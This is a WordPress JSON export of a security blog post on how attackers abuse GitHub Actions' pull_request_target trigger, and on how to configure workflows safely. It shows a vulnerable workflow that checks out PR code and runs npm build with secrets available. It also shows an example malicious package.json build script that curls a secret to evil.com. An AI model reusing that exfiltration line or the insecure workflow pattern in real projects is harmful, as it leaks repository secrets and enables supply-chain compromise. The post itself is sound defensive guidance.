{"id":1886,"date":"2025-11-25T17:49:55","date_gmt":"2025-11-25T17:49:55","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=1886"},"modified":"2025-11-25T17:49:55","modified_gmt":"2025-11-25T17:49:55","slug":"how-attackers-exploit-pull_request_target-secure-your-github-ci-cd-workflows","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/how-attackers-exploit-pull_request_target-secure-your-github-ci-cd-workflows\/","title":{"rendered":"How Attackers Exploit pull_request_target: Secure Your GitHub CI\/CD Workflows"},"content":{"rendered":"\n<p>GitHub Actions is powerful\u2014but with great power comes\u2026 a long list of workflow security pitfalls.<\/p>\n\n\n\n<p>If you\u2019ve spent any time around GitHub Actions, you\u2019ve probably seen people casually using <code>pull_request_target<\/code> without fully understanding what it does. And honestly, that\u2019s where most of the security issues begin.<\/p>\n\n\n\n<p>I\u2019m Shreya Pohekar, and I work as a Security Researcher at Microsoft. Over the years of working closely with CI\/CD systems and developer workflows, I\u2019ve noticed that many teams understand how to build automation, but often miss the subtle differences in how GitHub workflow triggers behave and what permissions they carry. These small misunderstandings are usually what lead to bigger security gaps.<\/p>\n\n\n\n<p>This blog is my attempt to break down the difference between <code>pull_request<\/code> and <code>pull_request_target<\/code> in a simple, human way\u2014and explain why a specific combination (<code>pull_request_target<\/code> + <code>actions\/checkout<\/code>) is essentially an open door for attackers.<\/p>\n\n\n\n<p>Let\u2019s dive in.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">1. The Real Difference (Explained Simply)<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\"><code>pull_request<\/code><\/h2>\n\n\n\n<p>Think of this as the &#8220;safe mode&#8221; for CI pipelines.<\/p>\n\n\n\n<p>It triggers whenever:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Someone opens a PR<\/li>\n\n\n\n<li>Pushes changes to it<\/li>\n\n\n\n<li>Updates or synchronizes it<\/li>\n<\/ul>\n\n\n\n<p>And the most important part:<\/p>\n\n\n\n<p><strong>The workflow runs on the contributor\u2019s PR code, but it never has access to repository secrets.<\/strong><\/p>\n\n\n\n<p>This makes <code>pull_request<\/code> ideal for:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Tests<\/li>\n\n\n\n<li>Linting<\/li>\n\n\n\n<li>Static analysis<\/li>\n\n\n\n<li>Building preview artifacts<\/li>\n\n\n\n<li>Any pipeline involving untrusted contributors<\/li>\n<\/ul>\n\n\n\n<p>It is designed to safely run code from outside the organization.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><code>pull_request_target<\/code><\/h2>\n\n\n\n<p>This event is trickier and often misunderstood.<\/p>\n\n\n\n<p>It triggers on the same PR events, but the behavior is very different:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The workflow file is taken from the <strong>default branch<\/strong>, not the PR branch.<\/li>\n\n\n\n<li>Secrets and elevated permissions are available.<\/li>\n\n\n\n<li>The environment behaves as if the workflow was triggered internally.<\/li>\n<\/ul>\n\n\n\n<p>GitHub created this event for automation around PR metadata:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Labeling PRs<\/li>\n\n\n\n<li>Auto-assigning reviewers<\/li>\n\n\n\n<li>Commenting on PRs<\/li>\n<\/ul>\n\n\n\n<p>When used correctly, it\u2019s safe. When misused, it\u2019s dangerous.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">2. Why <code>pull_request_target<\/code> Becomes Dangerous (Especially With Checkout)<\/h1>\n\n\n\n<p>This is where most real-life vulnerabilities show up.<\/p>\n\n\n\n<p>People often write workflows like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>on: pull_request_target\n\nsteps:\n  - uses: actions\/checkout@v4\n    with:\n      ref: ${{ github.event.pull_request.head.sha }}\n<\/code><\/pre>\n\n\n\n<p>This means:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The workflow <strong>has secrets<\/strong><\/li>\n\n\n\n<li>It <strong>checks out attacker-controlled code<\/strong> from the PR branch<\/li>\n\n\n\n<li>And it <strong>executes<\/strong> that untrusted code in a privileged environment<\/li>\n<\/ul>\n\n\n\n<p>At this point, the attacker effectively controls your CI environment, with access to:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Secrets<\/li>\n\n\n\n<li>GitHub tokens<\/li>\n\n\n\n<li>Repository write permissions<\/li>\n\n\n\n<li>Deployment keys<\/li>\n<\/ul>\n\n\n\n<p>This is exactly how supply-chain attacks begin.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">3. What an Attack Looks Like in Practice<\/h1>\n\n\n\n<p>Suppose you use <code>pull_request_target<\/code> to build preview artifacts for PRs:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>on: pull_request_target\n\njobs:\n  build:\n    steps:\n      - uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n\n      - run: npm install\n      - run: npm run build\n<\/code><\/pre>\n\n\n\n<p>An attacker submits a PR containing the following in their <code>package.json<\/code>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"scripts\": {\n    \"build\": \"curl -X POST -d \\\"$SECRET_KEY\\\" https:\/\/evil.com\"\n  }\n}\n<\/code><\/pre>\n\n\n\n<p>You do nothing.<br>You don\u2019t merge the PR.<br>You don\u2019t even review it.<\/p>\n\n\n\n<p>Your workflow:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Triggers automatically<\/li>\n\n\n\n<li>Has access to secrets<\/li>\n\n\n\n<li>Checks out the attacker\u2019s branch<\/li>\n\n\n\n<li>Runs their malicious build script<\/li>\n\n\n\n<li>Exfiltrates your secrets<\/li>\n<\/ol>\n\n\n\n<p>The attacker wins simply by opening a PR<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">4. When You Should Actually Use <code>pull_request_target<\/code><\/h1>\n\n\n\n<p>Use it only for workflows that interact with <strong>PR metadata<\/strong>, not PR code.<\/p>\n\n\n\n<p>Safe use cases:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Labeling PRs<\/li>\n\n\n\n<li>Assigning reviewers<\/li>\n\n\n\n<li>Commenting on PRs<\/li>\n\n\n\n<li>Running bots that do not touch user-submitted code<\/li>\n<\/ul>\n\n\n\n<p>Unsafe use cases:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Building the PR<\/li>\n\n\n\n<li>Running tests on PR code<\/li>\n\n\n\n<li>Installing dependencies<\/li>\n\n\n\n<li>Deploying anything<\/li>\n\n\n\n<li>Generating artifacts<\/li>\n\n\n\n<li>Running scripts from the PR branch<\/li>\n<\/ul>\n\n\n\n<p>If the workflow interacts with code, use <code>pull_request<\/code>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">5. The Safe Setup<\/h1>\n\n\n\n<p>To safely run CI on untrusted PRs:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>on: pull_request\n\npermissions:\n  contents: read\n<\/code><\/pre>\n\n\n\n<p>This ensures:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>No secrets are available<\/li>\n\n\n\n<li>Permissions are minimal<\/li>\n\n\n\n<li>PR code runs in an isolated environment<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">Final Thoughts<\/h1>\n\n\n\n<p><code>pull_request_target<\/code> is not the enemy.<br>The problem is mixing privileged workflows with untrusted code.<\/p>\n\n\n\n<p>When you combine:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>A workflow triggered by <code>pull_request_target<\/code><\/li>\n\n\n\n<li>With a checkout of the PR branch<\/li>\n\n\n\n<li>And secrets or write permissions<\/li>\n<\/ul>\n\n\n\n<p>You unintentionally hand full access to anyone who can open a PR.<\/p>\n\n\n\n<p>If you rely on GitHub Actions, especially in open-source or collaborative environments, it\u2019s worth taking a moment to audit your workflows and ensure you\u2019re not exposing yourself to this class of vulnerabilities.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>GitHub Actions is powerful\u2014but with great power comes\u2026 a long list of workflow security pitfalls. If you\u2019ve spent any time around GitHub Actions, you\u2019ve probably seen people casually using pull_request_target without fully understanding what it does. And honestly, that\u2019s where most of the security issues begin. I\u2019m Shreya Pohekar, and I work as a Security [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1888,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[142,2,467],"tags":[],"class_list":["post-1886","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-github","category-information-security","category-rce","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/1886"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=1886"}],"version-history":[{"count":1,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/1886\/revisions"}],"predecessor-version":[{"id":1887,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/1886\/revisions\/1887"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/1888"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=1886"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=1886"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=1886"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}